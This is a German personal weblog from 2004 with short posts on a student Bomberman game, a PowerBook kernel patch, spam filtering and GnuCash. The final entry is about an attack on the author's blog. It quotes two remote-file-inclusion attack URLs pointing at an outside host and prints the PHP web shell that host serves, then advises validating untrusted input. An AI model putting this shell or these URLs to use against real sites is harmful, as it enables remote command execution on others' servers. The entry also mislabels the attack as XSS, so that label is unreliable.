Tuesday, 6. July 2004 Week 28
Saturday, 3. July 2004 Week 27

Bomberman 2004

Wie schon angekündigt haben wir im Programmieren ein Projekt gemacht, welches nun letzten Sonntag fertig wurde. Herausgekommen ist ein kleines Bomberman-Spiel, welches man hier herunterladen kann (für Interessierte gibts hier noch die Sourcen).

Das Spiel hat ziemlich viele Bugs und Fehler, welche vor allem daher kommen, dass wir die ganze Spiel-Engine von den Assistenten geliefert bekammen. Die Engine ist jedoch ohne ein intelligentes Design, mit lauter Fehlern und Exceptions und in einem schrecklichen Code-Stil gemacht worden. So braucht beispielsweise der Konstruktor der Klasse, welche die Netzwerk-Sockets erstellt, eine Referenz auf ein GUI-Element um allfällige Netzwerkfehler direkt dorthinein zu schreiben!

Und auch die langen Wartezeiten beim starten von Spielen sind nur da, weil die Engine mit vielen NullPointer-Exceptions abstürzt wenn ein Spiel in Echtzeit gestartet wird!

Programmiert haben wir eigentlich "nur" die künstliche Intelligenz, den Leveleditor und das Fenster um die verschiedenen Spieltypen auszuwählen (Ursprünglich musste der Benutzer mittels Kommandozeile die einzelnen Clients und Server starten und miteinander verbinden!).

Wer keinen Fernseher hat, kann im Simulationsmodus schauen wie die künstliche Intelligenz gegen sich selbst spielt. Das kann durchaus eine abendfüllende Spielzeit annehmen!

Analysis überlebt!

Hier hat sich in den letzten paar Wochen nicht sehr viel geändert, da ich Prüfungen hatte und noch habe.

Jedoch ist das Schlimmste seit heute Morgen vorbei :-)

Thursday, 17. June 2004 Week 25

PowerBook Buttons

Nachdem ich diese Artikel gelesen hatte, kam ich plötzlich auf die Idee die bisher nicht funktionerenden Spezialbuttons meines PowerBooks zum laufen zu kriegen.

Dies stellte sich unerwarteterweise als gar nicht so schwer heraus, und nun gibts hier einen Patch für den 2.6.3 Kernel :-)

*kernelhacking*

Saturday, 12. June 2004 Week 24

Alle 20 Minuten Spam

Wie ich vorhin gerade bemerkt habe, habe ich in den letzten 12 Tagen 800 Spam-Mails erhalten. Glücklicherweise hat mein Spam-Filter 780 davon erkannt :-)

phpPatterns()

Auf phpPatterns() findet man viele Artikel zu Patterns und Objektorientierter Programmierung.

Wer mit Mozilla unterwegs ist, kann dort auch den XUL Viewer ausprobieren.

Wednesday, 9. June 2004 Week 24

Money, Money, Money

Seit ein paar Monaten, benutze ich GnuCash um mein "Vermögen" zu verwalten.

GnuCash wurde in erster Linie für Privatanwender und KMUs entwickelt und bringt entsprechende Features mit:

  • Doppelte Buchhaltung mit allem was dazugehört: Journal, Tansaktionen etc.
  • OFX Import (was leider in der Schweiz von keiner Bank angeboten wird)
  • HBCI-Untersützung (welche bisher vor allem in Deutschland angeboten wird)
  • QIF-Unterstützung
  • Generierung von Berichten
  • Aktienkurse aus dem Internet
  • Devisenkurse aus dem Internet
  • Handling von Aktien- und Fonds Portfolios
  • Kunden- und Lieferanten Verwaltung
  • Rechnungsverwaltung
  • Steuerverwaltung
  • Fristenverwaltung
Sunday, 16. May 2004 Week 20

XSS

http://waterwave.ch/weblog/detail.php?label=http://cliente.escelsanet.com.br/metallz/cmd.jpg?&cmd=ls%20/;uname%20-a;w
http://waterwave.ch/weblog/index.php?cat=http://cliente.escelsanet.com.br/metallz/cmd.jpg?&cmd=ls%20/;uname%20-a;w

Na, billige XSS-Attacke falsch angewendet.

In http://cliente.escelsanet.com.br/metallz/cmd.jpg steht übrigens dieser PHP-Code.

</center><font size="2"><pre>-
<?
  if (isset($chdir)) @chdir($chdir);
  ob_start();
  system("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp");
  $output = ob_get_contents();
  ob_end_clean();
  if (!empty($output)) echo str_replace(">", "&gt;", str_replace("<", "&lt;", $output));
?>

Merke: Immer alle nicht vertrauenswürdigen Input-Daten (e.g. alle per POST, GET, COOKIE übermittelten Daten) kontrollieren. Sehr oft werden hierzu Character type functions eingesetzt.